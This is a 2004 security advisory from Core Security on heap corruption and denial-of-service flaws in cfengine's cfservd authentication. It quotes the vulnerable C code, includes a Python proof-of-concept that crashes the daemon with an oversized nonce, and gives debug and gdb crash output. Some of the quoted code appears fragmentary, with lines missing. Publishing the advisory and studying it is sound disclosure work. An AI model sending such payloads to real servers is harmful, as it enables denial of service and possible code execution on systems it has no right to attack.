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CORE-2004-0714: Cfengine RSA Authentication Heap Corruption
From: CORE Security Technologies Advisories <advisories () coresecurity com>
Date: Mon, 09 Aug 2004 17:32:25 -0300

                Core Security Technologies Advisory

            Cfengine RSA Authentication Heap Corruption

Date Published: 2004-08-09

Last Update: 2004-08-09

Advisory ID: CORE-2004-0714

Bugtraq ID: None currently assigned.

CVE Name: None currently assigned.

Title: Cfengine RSA Authentication Heap Corruption

Class: Input validation error
      Boundary error condition (Buffer Overflow)

Remotely Exploitable: Yes

Locally Exploitable: Yes

Advisory URL:

Vendors contacted:
- Mark Burgess, author of Cfengine
  . Core Notification: 2004-07-26
  . Notification acknowledged by Mark Burgess: 2004-07-27
  . Fixed version (2.1.8) released: 2004-08-03


*Vulnerability Description:*

Cfengine, the configuration engine, is a very high level language for
simplifying the task of administrating and configuring large numbers
of workstations.

Cfengine is an autonomous agent and a middle to high level policy
language for building expert systems which administrate and configure
large computer networks. Cfengine uses the idea of classes and a
primitive intelligence to define and automate the configuration and
maintenance of system state, for small to huge configurations.
Cfengine is designed to be a part of a computer immune system, and can
be thought of as a gaming agent. It is ideal for cluster management
and has been adopted for use all over the world in small and huge
organizations alike.

Two vulnerabilities were found in cfservd, a daemon which acts as both
a file server and a remote cfagent executor. This daemon authenticates
requests from the network and processes them. If exploited, the first
vulnerability allows an attacker to execute arbitrary code with those
privileges of root. The second vulnerability allows an attacker to
crash the server, denying service to further requests.

Cfservd uses an IP based access control (AllowConnectionsFrom) which
must be passed before the vulnerabilities can be exploited. The level
of risk thus depends on how this access control is configured.

*Vulnerable Packages:*

These vulnerabilities are present in versions 2.0.0 to 2.1.7p1 of

*Solution/Vendor Information/Workaround:*

Mark Burgess, the author of cfengine, would like to thank the Core
Security team for their courteous and expert help in identifying and
fixing the problem.
Release 2.1.8 which fixes these vulnerabilities is available from


These vulnerabilities were found by Juan Pablo Martinez Kuhn from
Core Security Technologies. We wish to thank Mark Burgess for
his quick response to this issue.

*Technical Description - Exploit/Concept Code:*

A] Remote code execution vulnerability

The AuthenticationDialogue() function is responsible for handling
SAUTH commands and performing RSA authentication and key agreement.
This is the vulnerable code:

int AuthenticationDialogue(struct cfd_connection *conn,char *recvbuffer)

{ char in[CF_BUFSIZE],*out, *decrypted_nonce;
 BIGNUM *counter_challenge = NULL;
 unsigned char digest[EVP_MAX_MD_SIZE+1];
 unsigned int crypt_len, nonce_len = 0,len = 0, encrypted_len, keylen;
 char sauth[10], iscrypt ='n';
 unsigned long err;
 RSA *newkey;

CfLog(cferror,"No public/private key pair exists, create one with cfkey\n","");
  return false;

/* proposition C1 */
/* Opening string is a challenge from the client (some agent) */

sscanf(recvbuffer,"%s %c %d %d",sauth,&iscrypt,&crypt_len,&nonce_len);  [0]

if ((strcmp(sauth,"SAUTH") != 0) || (nonce_len == 0) || (crypt_len == 0)) [1]
CfLog(cfinform,"Protocol error in RSA authentation from IP %s\n",conn->hostname);
  return false;

Debug("Challenge encryption = %c, nonce = %d, buf = %d\n",iscrypt,nonce_len,crypt_len);

#if defined HAVE_PTHREAD_H && (defined HAVE_LIBPTHREAD || defined BUILDTIN_GCC_THREAD)
if (pthread_mutex_lock(&MUTEX_SYSCALL) != 0)
   CfLog(cferror,"pthread_mutex_lock failed","lock");

if ((decrypted_nonce = malloc(crypt_len)) == NULL)  [2]
  FatalError("memory failure");

if (iscrypt == 'y')
if (RSA_private_decrypt(crypt_len,recvbuffer+CF_RSA_PROTO_OFFSET,decrypted_nonce,PRIVKEY,RSA_PKCS1_PADDING) <= 0)
     err = ERR_get_error();
snprintf(conn->output,CF_BUFSIZE,"Private decrypt failed = %s\n",ERR_reason_error_string(err));

#if defined HAVE_PTHREAD_H && (defined HAVE_LIBPTHREAD || defined BUILDTIN_GCC_THREAD)
     if (pthread_mutex_unlock(&MUTEX_SYSCALL) != 0)
        CfLog(cferror,"pthread_mutex_unlock failed","lock");
     return false;
   memcpy(decrypted_nonce,recvbuffer+CF_RSA_PROTO_OFFSET,nonce_len);  [3]

Notes about this code extract:
[0] iscrypt, crypt_len and nonce_len are retrieved from network
    received data using the sscanf() function.
[1] crypt_len and nonce_len are checked for not being zero, this is the
    only check performed on the received integers.
[2] A crypt_len sized decrypted_nonce buffer is allocated in the heap
[3] If iscrypt different from 'y' was provided, nonce_len bytes are
    copied from the supplied buffer to the decrypted_nonce buffer.

So, it is possible to write an almost arbitrary amount of arbitrary
bytes after the end of a heap allocated buffer. Exploitation of this
vulnerability is made easier because:
a) the attacker controls the size of the buffer to be overflowed in [2]
b) the attacker is able to overflow the buffer with the desired amount
   of bytes
c) the bytes the attacker uses to overflow the buffer are not limited
   in any way.

The following proof of concept code reproduces the bug in a
cfengine 2.1.7p1 default configuration:

import struct
import socket
import time

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

           # CAUTH command
p = 'k'            # status
p += '0000023'         # len
p += 'CAUTH '         # command
print 'sending CAUTH command...'
           # SAUTH command
p = 'k'            # status
p += '0003000'        # len
p += 'SAUTH '        # command
p += 'n'        # iscrypt
p += '00000010 '     # crypt_len
p += '00001000'        # nonce_len
p += 'X' * 3000
print 'sending SAUTH command...'

a = s.recv(4096)
print a

This is the debug output from cfservd being exploited:

[root () localhost sbin]# ./cfservd -vvv -d2
cfservd: Debug mode: running in foreground
Appending [cfengine_2_1_7p1]
Appending [cfengine_2_1]
Appending [cfengine_2]
This appears to be a redhat system.
Appending [redhat]
Looking for redhat linux info in "Red Hat Linux release 9 (Shrike)
Appending [redhat_9]
Appending [linux]
Appending [localhost_localdomain]
Appending [localdomain]
Truncating fully qualified hostname localhost.localdomain to localhost
Appending [localhost]
GNU Cfengine server daemon -
Free Software Foundation 1994-
Donated by Mark Burgess, Faculty of Engineering,
Oslo University College, 0254 Oslo, Norway


Host name is: localhost.localdomain
Operating System Type is linux
Operating System Release is 2.4.20-8smp
Architecture = i686

Using internal soft-class linux for host linux

The time is now Wed Jul 21 17:19:38 2004


Appending [32_bit]
Additional hard class defined as: 32_bit
Appending [linux_2_4_20_8smp]
Appending [i686]
Additional hard class defined as: linux_2_4_20_8smp
Appending [linux_i686]
Additional hard class defined as: linux_i686
Appending [linux_i686_2_4_20_8smp]
Additional hard class defined as: linux_i686_2_4_20_8smp
Appending [linux_i686_2_4_20_8smp__1_SMP_Thu_Mar_13_17_45_54_EST_2003]
Additional hard class defined as: linux_i686_2_4_20_8smp__1_SMP_Thu_Mar_13_17_45_54_EST_2003
Appending [compiled_on_linux_gnu]

GNU autoconf class from compile time: compiled_on_linux_gnu

Interface 1: lo
Appending [net_iface_lo]
Interface 2: eth0
Appending [net_iface_eth0]
Host information for not found
Trying to locate my IPv6 address
cfpopen(/sbin/ifconfig -a)
Directory for /var/cfengine/test exists. Okay
Directory for /var/cfengine/test exists. Okay
Directory for /var/cfengine/state/test exists. Okay
Checking integrity of the state database
Checking integrity of the module directory
Checking integrity of the input data for RPC
Checking integrity of the output data for RPC
Checking integrity of the PKI directory
Making sure that locks are private...
RandomSeed() work directory is /var/cfengine
Looking for a source of entropy in /var/cfengine/randseed
Loaded /var/cfengine/ppkeys/localhost.priv
Loaded /var/cfengine/ppkeys/localhost.pub
New Parser Object::(BEGIN PARSING /var/cfengine/inputs/cfservd.conf)
Looking for an input file /var/cfengine/inputs/cfservd.conf
(No file /var/cfengine/inputs/cfservd.conf)
(END OF PARSING /var/cfengine/inputs/cfservd.conf)
Finished with /var/cfengine/inputs/cfservd.conf
Delete Parser Object::cfservd: cfservd Multithreaded version
MaxConnections = 10

Defined Classes = ( any cfengine_2_1_7p1 cfengine_2_1 cfengine_2 redhat redhat_9 linux localhost_localdomain localdomain localhost 32_bit linux_2_4_20_8smp i686 linux_i686 linux_i686_2_4_20_8smp linux_i686_2_4_20_8smp__1_SMP_Thu_Mar_13_17_45_54_EST_2003 compiled_on_linux_gnu net_iface_lo net_iface_eth0 )

Negated Classes = ( )

Installable classes = ( )
ACCESS GRANTED ----------------------:

ACCESS DENIAL ------------------------ :

Host IPs allowed connection access :

Host IPs denied connection access :

Host IPs allowed multiple connection access :

Host IPs from whom we shall accept public keys on trust :

Host IPs from NAT which we don't verify :

Dynamical Host IPs (e.g. DHCP) whose bindings could vary over time :

IPV4 address
Bound to address on linux=6
Listening for connections ...
cfservd: Input file /var/cfengine/inputs/cfservd.conf missing or busy..
cfservd: /var/cfengine/inputs/cfservd.conf: No such file or directory
IPV4 address
Obtained IP address of on socket 5 from accept

Purging Old Connections...
Done purging

Prepending []
*** New socket [5]
New connection...(from
Spawning new thread...
   (Concatenated 8 from stream)
Transaction Receive [k0000023][]
   (Concatenated 23 from stream)
Received: [CAUTH HARE KRISHNA HARE] on socket 5
Connecting host identifies itself as HARE KRISHNA HARE
cfservd: Allowing HARE to connect without (re)checking ID
Non-verified Host ID is krishna (Using skipverify)
Non-verified User ID seems to be HARE (Using skipverify)
username wascfservd: Unable to lookup hostname (krishna) or cfengine service: Temporary failure in name resolution
Updating last-seen time for krishna
   (Concatenated 8 from stream)
Transaction Receive [k0003000][]
   (Concatenated 3000 from stream)
Challenge encryption = n, nonce = 1000, buf = 10
   (Concatenated 8 from stream)
Transaction Receive [XXXXXXXX][]
cfservd: Protocol error 2 in RSA authentation from IP ?s
Segmentation fault
[root () localhost sbin]#

And this is gdb's output when making the server crash with the sample

[New Thread 1077705920 (LWP 15271)]

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 1077705920 (LWP 15271)]
0x4207493f in malloc_consolidate () from /lib/tls/libc.so.6
(gdb) bt
#0  0x4207493f in malloc_consolidate () from /lib/tls/libc.so.6
#1  0x42073f99 in _int_malloc () from /lib/tls/libc.so.6
#2  0x4207335b in malloc () from /lib/tls/libc.so.6
#3  0x42069667 in open_memstream () from /lib/tls/libc.so.6
#4  0x420da38b in vsyslog () from /lib/tls/libc.so.6
#5  0x420da2ef in syslog () from /lib/tls/libc.so.6
#6  0x08076a9a in CfLog (level=cfinform, string=0x42131300 "",
   errstr=0x42131300 "") at log.c:151
#7  0x0804e7d6 in AuthenticationDialogue (conn=0x8118d10,
recvbuffer=0x403c677c "SAUTH n00000010 00001000", 'X' <repeats 176 times>...) at cfservd.c:2153
#8  0x0804ce7e in BusyWithConnection (conn=0x8118d10) at cfservd.c:1187
#9  0x0804c5d1 in HandleConnection (conn=0x8118d10) at cfservd.c:1070
#10 0x401c82b6 in start_thread () from /lib/tls/libpthread.so.0
(gdb) x/i $pc
0x4207493f <malloc_consolidate+159>:    testb  $0x1,0x4(%edx,%edi,1)
(gdb) x/x $edx
0x58585858:     Cannot access memory at address 0x58585858
(gdb) x/x $edi
0x8118780:      0x58585858

B] Denial of service vulnerability

The following code, also in AuthenticationDialogue(), is vulnerable to
a remote denial of service attack:

/* proposition C5 */
keylen = ReceiveTransaction(conn->sd_reply,in,NULL);         [0]

#if defined HAVE_PTHREAD_H && (defined HAVE_LIBPTHREAD || defined BUILDTIN_GCC_THREAD)
if (pthread_mutex_lock(&MUTEX_SYSCALL) != 0)
  CfLog(cferror,"pthread_mutex_lock failed","lock");

conn->session_key = malloc(keylen);                [1]

#if defined HAVE_PTHREAD_H && (defined HAVE_LIBPTHREAD || defined BUILDTIN_GCC_THREAD)
if (pthread_mutex_unlock(&MUTEX_SYSCALL) != 0)
  CfLog(cferror,"pthread_mutex_unlock failed","lock");

memcpy(conn->session_key,in,keylen);                [2]
Debug("Got a session key...\n");

The return value of ReceiveTransaction() is not checked [0]. Then,
this value is used to call malloc() and the returned value is not
checked either [1]. Finally, in [2] the pointer returned is used
as memcpy's destination parameter.
Usually, the return value of ReceiveTransaction() is an integer, which
is checked not to be greater than a certain maximum size within cfengine
network/protocol handling code. However, it is possible to make the
function return -1, faking a cfengine version 1 protocol packet.
This will make malloc(-1) return NULL, and memcpy(0,in,-1) will make
the server crash.

*About Core Security Technologies*

Core Security Technologies develops strategic security solutions for
Fortune 1000 corporations, government agencies and military
organizations. The company offers information security software and
services designed to assess risk and protect and manage information
Headquartered in Boston, MA, Core Security Technologies can be reached
at 617-399-6980 or on the Web at http://www.coresecurity.com.

To learn more about CORE IMPACT, the first comprehensive penetration
testing product, visit:


The contents of this advisory are copyright (c) 2004 CORE Security
Technologies and may be distributed freely provided that no fee is
charged for this distribution and proper credit is given.

$Id: cfengine-advisory.txt,v 1.10 2004/08/09 18:34:14 carlos Exp $

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